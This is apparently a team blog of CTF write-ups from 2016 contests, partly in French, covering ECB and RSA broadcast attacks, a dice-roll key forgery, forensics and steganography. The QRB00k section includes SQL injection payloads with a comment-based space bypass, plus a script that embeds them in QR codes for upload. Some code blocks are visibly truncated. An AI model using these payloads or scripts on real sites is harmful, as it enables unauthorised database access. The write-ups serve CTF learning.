		w.Header().Set("Content-Type", "text/plain")
		fmt.Fprintln(w, "Your driver license expired. Try again.")
	m0 := []byte(r.FormValue("m0"))
	m1 := []byte(r.FormValue("m1"))
	if len(m0) != len(m1) {
		w.Header().Set("Content-Type", "text/plain")
		fmt.Fprintln(w, "We are in the semantic security race. Follow the rules!")

	var msg []byte
	if s.GetColor() == "red" {
		msg = m0
	} else {
		msg = m1
	w.Header().Set("Content-Type", "application/octet-stream")

Also, the function encrypt looks ike it's ECB :
func encrypt(message []byte) []byte {
	key := make([]byte, aes.BlockSize)
	if _, err := io.ReadFull(rand.Reader, key); err != nil {
		log.Fatal("Oh no! Out of randomness for key")
	block, _ := aes.NewCipher(key)
	someByte := byte(aes.BlockSize - (len(message) % aes.BlockSize))
	for i := byte(0); i < someByte; i++ {
		message = append(message, someByte)
	ciphertext := make([]byte, len(message))
	for i := 0; i < len(message) / aes.BlockSize; i++ {
		src := message[i*aes.BlockSize:(i+1)*aes.BlockSize]
		dst := ciphertext[i*aes.BlockSize:(i+1)*aes.BlockSize]
		block.Encrypt(dst, src)
	return ciphertext

So here we have a function that encrypts either my red or my blue input (depending on what color I should choose next). The key is random, so I cannot try to get a pattern. I cannot either give it two blocks of different size and check the size of the output, because it checks that the messages are equal lengths.
If only I had a solution to determine which of my two inputs the server encrypts, I would win the race. But it's AES, so I guess it's secure, right ?
Actually, there is a big flaw in ECB cipher mode : It splits my input into blocks of fixed size (and adds padding to the last chunk to make it as long as the other if needed), and then encrypts every block separately, then concatenates the output.
If we take a simple example and say my encryption scheme takes a block of 4 letters and gives back 4 letters.
If I give it the text ABCDEFGH, the result will be cipher(ABCD,key)+cipher(EFGH,key), and will look like NDBCISJE
If I give my scheme the plaintext ABCDABCD, the result would be twice cipher(ABCD,key), which looks like NDBCNDBC.
Even if I have no idea how the cipher works and I don't have the key, I can still see a pattern in the second one.

So now, the only thing left to do is to write something like 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' in the red box, and 'kysgfkuuekbjyesegdkjuzqcdkqzygdbkcquybgdkuqycjdhgskcdqygdqz' in the blue box. When I click on 'Get ciphertext' :
-If I see a pattern in the output, this means my red input was encrypted, so I click red.
-If I don't, this means blue is the correct one.

After repeating the steps 40 times (which takes quite a long time after all), I get my flag !
Writeup by Mathis HAMMEL

Le 11/10/2016 à 23:49


The challenge was a .go code. You could see the execution with : nc 1415 The purpose was to make exactly the opposite dice roll of the computer. But the dice roll it gives you is encrypted (and you should give your dice roll to him encrypted as well !) Here was the order of the steps :
- Computer rolls the dice and gives you his encrypted value
- You give your encrypted dice roll
- He gives you the key to decrypt his
- You give him the key to decrypt yours

Finding one by chance was possible (even 2 !), but we have to make 32 perfect guesses to obtain the CTF.
Here is the server code given :
package main

import (
	mrand "math/rand"

const FLAG = "hackover16{REMOVED}"

func main() {
	l, err := net.Listen("tcp", "")
	if err != nil {
	defer l.Close()
	for {
		conn, err := l.Accept()
		if err != nil {
		go handleConnection(conn)

func rollDice() int {
	// Momma told me to use cryptographic randomness instead ...
	roll := mrand.Intn(6) + 1
	return roll

func encryptDiceRoll(roll int) ([]byte, []byte) {
	key := make([]byte, 16)
	if _, err := io.ReadFull(rand.Reader, key); err != nil {
	block, err := aes.NewCipher(key)
	if err != nil {
	rollEncoded := make([]byte, aes.BlockSize)
	if _, err := io.ReadFull(rand.Reader, rollEncoded); err != nil {
	binary.BigEndian.PutUint16(rollEncoded, uint16(roll))
	block.Encrypt(rollEncoded, rollEncoded)
	return key, rollEncoded

func decryptDiceRoll(key []byte, diceRollEnc []byte) (int, error) {
	block, err := aes.NewCipher(key)
	if err != nil {
		return -1, errors.New("Invalid key size")
	if len(diceRollEnc) != aes.BlockSize {
		return -1, errors.New("Invalid block size")
	block.Decrypt(diceRollEnc, diceRollEnc)
	return int(binary.BigEndian.Uint16(diceRollEnc)), nil

func handleConnection(conn net.Conn) {
	defer func() {
		log.Println(conn.RemoteAddr(), "disconnected")
	log.Println(conn.RemoteAddr(), "connected")

	fmt.Fprintln(conn, "Welcome to rollthedice!")
	fmt.Fprintln(conn, "We use a cool cryptographic scheme to do fair dice rolls.")
	fmt.Fprintln(conn, "You can easily proof that I don't cheat on you.")
	fmt.Fprintln(conn, "And I can easily proof that you don't cheat on me.\n")
	fmt.Fprintln(conn, "Rules are simple:\nRoll the opposite side of my dice roll and you win a round.")
	fmt.Fprintln(conn, "Win 32 consecutive rounds and I will give you a flag.\n")

	r := bufio.NewReader(conn)
	for i := 0; i < 32; i++ {
		myDiceRoll := rollDice()
		myKey, myDiceRollEnc := encryptDiceRoll(myDiceRoll)
		fmt.Fprintf(conn, "My dice roll: %s\n", base64.StdEncoding.EncodeToString(myDiceRollEnc))
		fmt.Fprintf(conn, "Your dice roll: ")
		yourDiceRollStr, err := r.ReadString('\n')
		if err != nil {
		yourDiceRollStr = strings.TrimSpace(yourDiceRollStr)
		fmt.Fprintf(conn, "My key: %s\n", base64.StdEncoding.EncodeToString(myKey))
		fmt.Fprintf(conn, "Your key: ")
		yourKeyStr, err := r.ReadString('\n')
		if err != nil {
		yourKeyStr = strings.TrimSpace(yourKeyStr)
		yourKey, err := base64.StdEncoding.DecodeString(yourKeyStr)
		if err != nil {
			fmt.Fprintln(conn, "Invalid key.")
		yourDiceRollEnc, err := base64.StdEncoding.DecodeString(yourDiceRollStr)
		if err != nil {
			fmt.Fprintln(conn, "Invalid dice roll.")
		yourDiceRoll, err := decryptDiceRoll(yourKey, yourDiceRollEnc)
		if err != nil {
			fmt.Fprintln(conn, err)

		if yourDiceRoll < 1 || yourDiceRoll > 6 {
			fmt.Fprintln(conn, "Don't cheat on me ...")

		if myDiceRoll+yourDiceRoll != 7 {
			fmt.Fprintf(conn, "%d is not on the opposite side of %d. You lose.\n", yourDiceRoll, myDiceRoll)
	fmt.Fprintf(conn, "You win! How was that possible? However, here is your flag: %s\n", FLAG)

It is quite long but we can see easily the two interesting functions : encryptDiceRoll and decryptDiceRoll.
The encryption method is AES.
But the really important thing to notice is that we have the exact encryption method, but also the exact decryption one.
Give a ciphertext and the key (as the computer gives us) allows us to decrypt it.

Here is the go code I used to do it :
package main

import (

func main() {
	key := "W/4I/d7qukijU3Pn9b105Q=="
	dice := "1QqFKO/v082hLYEfvTBUDw=="
	key2, err := base64.StdEncoding.DecodeString(key)
	dice2, err := base64.StdEncoding.DecodeString(dice)
	result := 0
	for result != 3 {
		yourDiceRoll, err2 := decryptDiceRoll(key2, dice2)
		result = yourDiceRoll
		i, err2 := strconv.Atoi(key)
		i = i + 1
		key = strconv.Itoa(i)


func decryptDiceRoll(key []byte, diceRollEnc []byte) (int, error) {
	block, err := aes.NewCipher(key)
	if err != nil {
		return -1, errors.New("Invalid key size")
	if len(diceRollEnc) != aes.BlockSize {
		return -1, errors.New("Invalid block size")
	block.Decrypt(diceRollEnc, diceRollEnc)
	return int(binary.BigEndian.Uint16(diceRollEnc)), nil

We can do the same for crypting our key the same way the computer does :
package main

import (

func main() {
	number := 3
	key, dice :=  encryptDiceRoll(number)


func encryptDiceRoll(roll int) ([]byte, []byte) {
	key := make([]byte, 16)
	if _, err := io.ReadFull(rand.Reader, key); err != nil {
	block, err := aes.NewCipher(key)
	if err != nil {
	rollEncoded := make([]byte, aes.BlockSize)
	if _, err := io.ReadFull(rand.Reader, rollEncoded); err != nil {
	binary.BigEndian.PutUint16(rollEncoded, uint16(roll))
	block.Encrypt(rollEncoded, rollEncoded)
	return key, rollEncoded

But here is the problem : we need the ciphertext AND the key to know the computer's dice roll. However, we only know his encrypted roll when he asks us ours.
The idea we had was to have a ciphertext that could become every number, from 1 to 6. Our dice roll would only depend on the key we give. The ciphertext combined with key1 will br 1, the ciphertext combined with key2 will be two, etc. So we can choose our dice value after knowing the computer's one (decrypt it with its cyphertext + key thanks to the go code above).
The challenge was to find 6 key values that give us the six different values. We chose to find these keys randomly and then to check if it matched. Kind of a bruteforce way. Here was the Go Code to find these values :
package main

import (

func main() {
	found := make([]byte,7)
	dice2, _ := base64.StdEncoding.DecodeString(dice)
	key2 := make([]byte,16)

	for i := 0; ; i++ {
		io.ReadFull(rand.Reader, key2)

		yourDiceRoll, _ = decryptDiceRoll(key2, dice2)

		if yourDiceRoll<7 && found[yourDiceRoll]==0 {
			if tot==6 {

func decryptDiceRoll(key []byte, diceRollEnc []byte) (int, error) {
	block, err := aes.NewCipher(key)
	if err != nil {
		return -1, errors.New("Invalid key size")
	if len(diceRollEnc) != aes.BlockSize {
		return -1, errors.New("Invalid block size")
	dst := make([]byte,16)
	block.Decrypt(dst, diceRollEnc)
	return int(binary.BigEndian.Uint16(dst)), nil

We obtained six keys for our chosen dice roll 1QqFKO/v082hLYEfvTBUDw== :
NJmmmCfMxdhYRYBrrLHeXw== gives 1
+ojQSMtAAdnrVMOh+jSjtA== gives 2
ZMD8UAT8uAyMRBrROsZ9xA== gives 3
EXOUdcQaHUKmX3hSlYPJFA== gives 4
SktSVC95ev7+fdm9LBhrDA== gives 5
w8KFndyJYoulB2wLhi8DRg== gives 6

The only step left was to give the right value 32 times to the computer.
As Mathis wrote a Python script to do it, I started doing it it by hand. Mathis finally won the race, but we both had the right flag in the end !

Writeup by Mathis HAMMEL and Sophie LEGRAS

Le 10/10/2016 à 23:13

H4ckIT - First Sound Of The Future 300

Dans ce challenge nous nous retrouvons avec un fichier pcap dans lequel on nous demande de décrypter un message caché

Après un petit coup d'oeil on remarque un échange de paquet FTP assez important

On remarque aussi la requête RETR qui indique le transfert du fichier data.jpg

On isole le TCP Stream correspondant au transfert du fichier (paquets FTP-DATA),puis on les enregistre sur notre environement , ici j'ai gardé le nom d'origine data.jpg

le fihier obtenu ou plutôt l'image obtenue n'indique rien de particulier il faudra donc aller chercher plus loin :)

on lance une analyse simple du fichier avec binwalk et surprise surprise ...

on remarque la présence d'un archive rar ajouté à la fin du fichier jpg, cela peut aussi ce voir à l'aide de hexdump ou le flux TCP sur wireshark où on trouvera la chaine RAR! qui indique le début d'un archive Rar. On a alors plusieurs facon d'agir on peut directement changer l'extension du ficher data de .jpg à .rar et extraire l'archive ou utiliser une méthode plus propre en lançant foremost qui se chargera de séparer l'archive rar de notre image comme ce-ci:

après l'extraction du contenu de l'archive on se retrouve avec un fichier key.enc, vu l'extension le fichier est forcement crypté, un hexdump ne nous fera pas de mal :)

Effectivement c'est crypté et la chaine du debut en dit beacoup "Salted__" on conclu donc que le fichier a été probablement crypté en utilisant openssl avec l'option -salt et que pour le décrypter il suffira sans doute d'utiliser la commande suivante:

il reste maintenant à trouver l'algorithme de cryptage utilisé et la clef !! j'ai donc pensé que l'image pourrait apporter un peu plus à cette histoire mais rien :/ il fallait donc faire un pas en arrière et penser "Out Of The Box", je suis partie du principe suivant: si la personne a téléchargé le fichier data.jpg et recupéré l'archive RAR elle a maintenant besoin de la clef, donc soit elle connait la clef d'avance et ma théorie s'ecroule soit la personne a reçu la clef au moment où elle a telechargé le fichier :). j'ai donc replongé dans le fichier pcap à la recharche d'indices. Après quelques minutes de recherche paquet par paquet je retrouve un HTTP GET Request assez étrange.

je suis le lien et je me retrouve dans une sorte de station avec un media à écouter

le fichier audio est juste une suite de chiffre qui suit un ordre preçis j'ai donc noter toute les combinaisons possibles qu'on peut en déduire, en ésperant trouver la bonne clef, pour l'algorithme j'ai décidé de tester tout les algorithmes vu que c'est un nombre fini de possibilité et surtout parce que je n'avais trouvé aucun indice sur l'algorithme.

Une fois la liste au point j'ai utilisé l'outil bruteforce-salted-openssl, et bingo on a un mot de passe potentiel :D le premier dans la liste d'ailleur (outil bruteforce-salted-openssl utilise aes256 par default j'avais prévu de tester tous les algorithmes a l'aide d'un script bash)

On lance la commande de décryptage avec la clef précédente et bingo enfin un truc compréhensible apparait :D

Le flag était donc : h4ck1t{Nic3_7ry} un petit flag pour pas mal de points :D
Writeup by Amine KANANE

Le 06/10/2016 à 23:00

H4ckIT - Interceptor 95

The challenge looked like that :

The first thing we can notice is the name of variables : E, N an C. They are typical of RSA encryption algorithm.
However, if we look further, the Ns given are too big to find their prime factors.
As there are three values, we can imagine that the plain text is the same (and could be the flag !)
This intuition can be confirmed in the Wikipedia page, in the Attacks against plain RSA section : If the same clear text message is sent to e or more recipients in an encrypted way, and the receivers share the same exponent e, but different p, q, and therefore n, then it is easy to decrypt the original clear text message via the Chinese remainder theorem.

I found this link, very useful, which helped me to implement the solution. Let's call m the plain text message we are looking for.

The idea is to find a c such as :
c = m^3 mod (N1 * N2 * N3)
(3 corresponds to our E in every case)

As 3 is little enough, we can have the equality :
c = m^3

The only thing left to do is to find the cube root of c, so that we can have m (the plain text message).

This is the python code I used :
x1 = 258166178649724503599487742934802526287669691117141193813325965154020153722514921601647187648221919500612597559946901707669147251080002815987547531468665467566717005154808254718275802205355468913739057891997227
x2 = 82342298625679176036356883676775402119977430710726682485896193234656155980362739001985197966750770180888029807855818454089816725548543443170829318551678199285146042967925331334056196451472012024481821115035402
x3 = 22930648200320670438709812150490964905599922007583385162042233495430878700029124482085825428033535726942144974904739350649202042807155611342972937745074828452371571955451553963306102347454278380033279926425450
e = 3

n1 = 770208589881542620069464504676753940863383387375206105769618980879024439269509554947844785478530186900134626128158103023729084548188699148790609927825292033592633940440572111772824335381678715673885064259498347
n2 = 106029085775257663206752546375038215862082305275547745288123714455124823687650121623933685907396184977471397594827179834728616028018749658416501123200018793097004318016219287128691152925005220998650615458757301
n3 = 982308372262755389818559610780064346354778261071556063666893379698883592369924570665565343844555904810263378627630061263713965527697379617881447335759744375543004650980257156437858044538492769168139674955430611

def find_invpow(x,n):
    """Finds the integer component of the n'th root of x,
    an integer such that y ** n <= x < (y + 1) ** n.
    high = 1
    while high ** n < x:
        high *= 2
    low = high/2
    while low < high:
        mid = (low + high) // 2
        if low < mid and mid**n < x:
            low = mid
        elif high > mid and mid**n > x:
            high = mid
            return mid
    return mid + 1

def chinese_remainder(n, a):
    sum = 0
    prod = reduce(lambda a, b: a*b, n)
    for n_i, a_i in zip(n, a):
        p = prod / n_i
        sum += a_i * mul_inv(p, n_i) * p
    return sum % prod
def mul_inv(a, b):
    b0 = b
    x0, x1 = 0, 1
    if b == 1: return 1
    while a > 1:
        q = a / b
        a, b = b, a%b
        x0, x1 = x1 - q * x0, x0
    if x1 < 0: x1 += b0
    return x1
if __name__ == '__main__':
	n = [n1, n2, n3]
	a = [x1, x2, x3]
	c = chinese_remainder(n, a)
	mCube = c % (n1 * n2 * n3)
	solution = find_invpow(mCube, e)
	print solution
	print hex(solution)
	#To check our result
	print solution * solution * solution == mCube

Here are the results :

We convert the hexadecimal code into ASCII and the flag given is : key=bff149a0b87f5b0e00d9dd364e9ddaa0

Writeup by Sophie LEGRAS

Le 03/10/2016 à 20:01

H4ckIT - Hash?! 150

En arrivant sur le site, on me demande de déchiffrer un texte qui a l'air de base64.

On a accès à l'outil qui permet de générer le "hash". Donc il faudra juste reverse l'algorithme de hachage pour pouvoir répondre correctement.

Les seuls caractères autorisés dans l'outil sont A-Z a-z 0-9. On voit dans le deuxième cas que chaque A est transformé en L6Sk, sauf le dernier qui est différent et plus long.
Tous les caractères marchent bien et correspondent à 4 caractères de base64 (sauf le dernier qui en occupe un peu plus), sauf le 0 qui met un bazar pas possible et rend l'algorithme incompréhensible. On essaie pendant longtemps de comprendre comment le 0 fonctionne :

Après des dizaines d'essais, le comportement lié au 0 reste incompréhensible... Heureusement, le texte à déchiffrer contient environ 250 caractères de base64, ce qui correspond à 60-70 caractères. On espère donc que le message soit généré aléatoirement, et pas fait pour contenir forcément un 0. On scripte donc un peu pour récupérer à quoi correspond chaque caractère, en milieu et en fin de chaîne, en l'absence de zéros. Une fois que les dictionnaires sont constitués, on peut lancer l'attaque :
import binascii, base64
import sys
import requests
import time

headers = {
	'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0',
	'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
	'Accept-Language': 'en-US,en;q=0.5',
	'DNT': '1',
	'Content-Type': 'application/x-www-form-urlencoded',
	'Referer': '',
	'Cookie': 'PHPSESSID=n35bf9crmr92uq0sqie2s8mf73'

traduct = {'MtTt': 'p', 'phXz': 'G', '0m6y': 'v', 'L6nk': 'A', 'biTD': 'x', 'Lm0h': 'W', 'Ai04': 'w', 'g5hM': 'Y', '08LA': 'N', 'S5re': '9', 'b4/N': 'U', 'AJKJ': 'k', 'Dkhq': 'O', 'niHI': 'j', 'Tx6J': 'm', 'Ayho': 'K', 'SjTa': 'q', 'K4Hi': 'B', 'nl3r': 'Q', 'A8AB': 'l', 'MoXZ': 'g', 'fGWs': '8', '+th9': 'R', 'Sm1=': 'P', 'nG3t': 'o', 'pxXg': 'H', 'Mgbl': 'M', 'gJTb': 'E', 'eGQu': 'u', 'iIBN': 'f', 'pfXm': 'V', '+Gc8': 'D', 'n605': '3', 'fHLU': 'C', 'Kf0P': '6', 'D6BV': 'Z', 'HxQT': 'b', 'SG62': 't', '+icl': 'r', 'i6QR': 'y', 'gjAO': 'n', 'fJk3': 'c', 'TiLY': 'a', 'DIhS': '7', 'TlAX': '5', 'KJH1': 'X', 'ghT7': 'e', 'Hozu': 'h', 'M61K': 'F', 'TG0G': 'L', 'ijLQ': 's', 'LjHr': 'J', '0f66': 'i', 'Hiuj': '1', 'blrf': 'd', 'DH5q': 'T', 'HkHs': '2', 'eHAk': 'I', '0xkL': 'S', '+5BH': 'z', 'f4': '0', 'LoPm': '4'}

endtraduct={u'TlbCKbCC': '5', u'pxWCH/CC': 'H', u'MoWCpWCC': 'g', u'LjgCnbCC': 'J', u'ijKCDbCC': 's', u'g5GCiWCC': 'Y', u'0f5CLbCC': 'i', u'DkGCn/CC': 'O', u'SjSC+qCC': 'q', u'DH5CS/CC': 'T', u'HozCebCC': 'h', u'KfnCD/CC': '6', u'HkgCnWCC': '2', u'+GwCbqCC': 'D', u'n6nCL/CC': '3', u'fHKCfqCC': 'C', u'nG3CSqCC': 'o', u'K4gCHWCC': 'B', u'i6PCDWCC': 'y', u'TGnCA/CC': 'L', u'AyGCAqCC': 'K', u'HiNCHqCC': '1', u'A8bCMbCC': 'l', u'+5zCHbCC': 'z', u'nigCAWCC': 'j', u'pfWC0qCC': 'V', u'ghSCMWCC': 'e', u'KJgCbbCC': 'X', u'0m5CLqCC': 'v', u'iIzCp/CC': 'f', u'biSCgWCC': 'x', u'blqCgqCC': 'd', u'AinCKqCC': 'w', u'LmnCAbCC': 'W', u'MtSCnqCC': 'p', u'M6/Ci/CC': 'F', u'08KCgbCC': 'N', u'b4/Ce/CC': 'U', u'MgbCTWCC': 'M', u'AJKCT/CC': 'k', u'fGWCSWCC': '8', u'phWCM/CC': 'G', u'LWCCTbCC': 'A', u'S5qCfWCC': '9', u'SG5CbWCC': 't', u'0xJCibCC': 'S', u'eHbC0bCC': 'I', u'Sm/CMqCC': 'P', u'eGPCpbCC': 'u', u'gjbCDqCC': 'n', u'+tGC+bCC': 'R', u'nl3CSbCC': 'Q', u'HxPCfbCC': 'b', u'+iwC0WCC': 'r', u'fJJC+/CC': 'c', u'LoPCTqCC': '4', u'DIGCf/CC': '7', u'Tx5C0/CC': 'm', u'D6zC+WCC': 'Z', u'gJSCg/CC': 'E', u'TiKCKWCC': 'a'}

#Le script pour avoir le chiffrement de chaque caractere en fin de chaine
'''for c in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789":
	res ="", data=data, headers=headers)
	restext = res.text
	print c,restext'''

data = {
	"newtask": "true"

while True:
	res ="", data=data, headers=headers)
	cipher = res.text
	decrypted = ''
		while len(decrypted)<63:
			dec = traduct[cipher[i*4:(i+1)*4]]
			print dec,
		print len(decrypted),"\n"
	data2 = {
		"answer": decrypted
	print "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
	print cipher
	print decrypted
	res2 ="", data=data2, headers=headers)

On laisse anxieusement tourner le script, qui rate une fois, puis deux, puis encore plein de fois... avant de réussir à décoder en entier le texte !
La page nous affiche un beau 'Your flag is : ...'

Writeup by Mathis HAMMEL

Le 03/10/2016 à 01:14

H4ckIT - QRB00k 400

QRB00k est un site web sur lequel on peut laisser des messages à ses amis en donnant son identifiant et un message, le site génère ensuite un QR Code qui nous permet de récupérer le même message plus tard. Petite démo :

Page d'accueil :

Je crée mon QR code :

Mon QR code a bien été créé

J'uploade le QR code généré :

Je récupère mon message :

Le principe du site est assez simple, reste à voir comment le tout fonctionne. On étudie le contenu du QR (par exemple en utilisant ce site).
Le QR Code contient juste xczS. On pense direct à du base64, sans succès... Assez peu de données, donc peut-être un ID en base de données ? On réessaie quelques autres identifiants et messages.

Révélation peu après, lorsque les données du QR code ressemblent à ==Qe0lmc1NWZT5WS. On reconnaît les = typiques du base64, sauf qu'ils sont au début de la string au lieu de la fin. On reverse la string, et on tombe sur l'identifiant qu'on avait fourni lors de la création. On essaie de générer le QR code qui correspond à Admin, root, flag, h4ck1t,... sans succès.

En même temps, ça aurait fait 400 points beaucoup trop faciles :P
La question suivante : comment, à partir de l'ID, le site arrive t-il à retrouver mon message ? Facile, une base de données.
On essaie une injection SQL facile avec ' AND '1'='1 pour voir si on a de la chance :
Payload :


On sent la blacklist sur les caractères spéciaux, certainement à cause des espaces. On tente le trick en replaçant les espaces par des /**/ :
Payload :


Victoire ! (Ou bien je me suis fait troll et quelqu'un a décider de s'appeler K71'/**/AND/**/'1'='1 mais ça m'étonnerait pas mal...)
On sait maintenant où va se passer le challenge et on décide de scripter l'injection (merci à Tanphi).
Source :
import requests
import time
import sys

payload="K71' AND '1'='1"
payload=payload.replace(' ','/**/')

import qrcode
from PIL import Image
import base64
cc = base64.b64encode(payload)[::-1]
img = qrcode.make(cc)'hacks.png')

headers = {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "DNT": "1",
        "Referer": "",
        "Connection": "keep-alive"
while r=='':'',files={'userfile':('hacks.png',open('hacks.png','rb'),'image/png')},headers=headers)
    r=res.text.split('Your message is: ')[1].split(' ! ')[0]
    if r=='':
print table_name+' : '+r

Petit à petit, on découvre que c'est du MySQL, on commence à avoir une idée précise des tables, des colonnes...

La team Fourchette Bombe fait le first blood, GG à eux !
5 minutes après le first blood, le challenge ne répond plus. On attend 30 minutes, toujours rien. Une chose est claire, Fourchette Bombe va avoir des points de bug bounty ! Il est 2h du matin, on va se coucher, convaincus que le challenge sera réparé le lendemain.

Au réveil (11h30, normal), le challenge est revenu mais va super mal : Le site marche par intervalles de 30 secondes toutes les 10 minutes. Le reste du temps, il fait comme s'il avait bien trouvé le message, mais n'affiche pas le message. Donc super difficile de voir si les payloads successives fonctionnent. On attend que l'orage passe en évitant d'ajouter du trafic supplémentaire sur le site.

Vers 17h, les admins installent le système de captcha (on les voit sur les screenshots parce que je les ai pris après le CTF). Le site respire enfin un peu mieux. Je constate que le script marche toujours sans envoyer le captcha. Après signalement à l'admin, un bonus de 50pts nous est accordé !
Par contre notre bot ne marche plus, mais on la joue fair-play...

Après récupération des infos de l'information_schema, on retrouve la table dans laquelle sont stockées les correspondances ID/message. Par contre, une colonne secret_message attire notre attention. Il nous reste juste à récupérer le contenu de cette colonne pour avoir le flag.

Dans l'ensemble, un chall très intéressant, ça nous change des injections SQL classiques ! Dommage pour la faiblesse de l'architecture sous charge (et GG Fourchette Bombe pour le bug bounty, même si ça nous a mis mal !)

Writeup by Mathis HAMMEL

Le 02/10/2016 à 23:46

H4ckIT CTF - Crypt0P1xels 250

Premier chall de stegano de ce CTF, on a un flag caché dans un PNG, et le script python qui a servi à cacher le flag :
from PIL import Image
import random

FLAG = '^__^'

img ='original.png')
img_pix = img.convert('RGB')

x = random.randint(1,255)
y = random.randint(1,255)


for l in FLAG:
    x1 = random.randint(1,255)
    y1 = random.randint(1,255)
    x = x1
    y = y1'encrypted.png')
Pas compliqué en apparence, on regarde un peu plus en profondeur ce que fait le script fourni :

1. On importe les libs nécessaires et on ouvre l'image de base dans laquelle on veut cacher le flag :
from PIL import Image
import random

FLAG = '^__^'

img ='original.png')
img_pix = img.convert('RGB')

2. On choisit x,y au hasard, qui seront les coordonnées du point suivant (X0,Y0). Puis, on cache l'info dans le pixel (0,0) en haut à gauche :
Octet rouge : nombre de caractères du flag
Octet vert : x
Octet bleu : y
x = random.randint(1,255)
y = random.randint(1,255)


3. Maintenant, chaque caractère du flag sera codé dans le pixel de coordonnées (Xi,Yi), sous la forme :
Rouge : valeur ASCII du caractère
Vert : Xi+1
Bleu : Yi+1
On dispose déjà de X0 et Y0, donc on peut trouver flag[0], X1 et Y1, qui permettront à leur tour de trouver flag[1], X2 et Y2, etc.
for l in FLAG:
    x1 = random.randint(1,255)
    y1 = random.randint(1,255)
    x = x1
    y = y1

4. Enfin, on enregistre l'image dans laquelle on a caché le flag :'encrypted.png')

Maintenant qu'on a bien compris comment récupérer le flag, c'est l'heure de scripter :
from PIL import Image'encrypted.png')
for i in range(int(idx[0])):
print flag

Résultat : 1NF0RM$T10N_1$_N0T_$3CUR3_4NYM0R3
Ce chall était assez décevant, il était bien plus faciles que d'autres challenges à 100 points. Pourtant l'idée était fun :)

Writeup by Mathis HAMMEL

Le 02/10/2016 à 23:13

H4ckIT CTF - HellMath 100

Un des challenges de programmation du H4ckIT. Après connexion en netcat sur l'IP/port fournis, on est accueillis par le message suivant :
Hello, stranger!

In this task you must solve 100 math questions.
Every task prints value C, where

C = A ^ B

, and you need to return A and B.

Simple, isn't it?
C =  42840405199755436098060152988004402762566772657415146618791570837559835779992379280015763745332507389554036890769503758422362759637195840213422724777435191202310863160889341924375325291290717310359733378331613522470541565576760746236823344541699302055105891652180394855176437710789554790142819000439604818152787519150360700726593872786568776871318338912524417332271040753884208290715880747327126318302454092567256970489150795090608773351916422226370450282751498301684215888364442742111081103865344013222036280746277601302748664393268143510356389870858787276808532615676504794151468960332743790801519558060769120598877941500987437173071189135008058159845696848064027916948908623905028401877041375482196357922212249304541650297865569767249848455418301597144162985472970807894328761985071334686948992349296093376868099993203688497101456988779405280039059921642275023012357928324053297706453152242218408409087430606050176712110821844259932217404108591823430912947467735765949920453726200118454711746726510767014925368992351931260977581772433377536121395935764200874257793647970245252706329423132811244797038539724906175391596544
On a beaucoup de temps pour répondre, donc je scripte vite fait à la main pour trouver A et B. Facile, un petit script python me donne des résultats du genre A=238 B=522. Par contre, on doit résoudre 100 questions du même genre. Il va donc falloir scripter le socket aussi.
C'est à ce moment que les dizaines d'années de cours de maths portent enfin leurs fruits : Hugo découvre la propriété A^1=A. C'est trop beau pour être vrai, mais on essaie quand même. Et ça marche !

Du coup, 100 points faciles et un bonus de 20 pts pour avoir été les 2èmes à flagger, sans oublier de signaler à l'admin le bug : c'était bien un oubli de leur part, mais le flag est validé !

Writeup by Mathis HAMMEL

Le 02/10/2016 à 22:30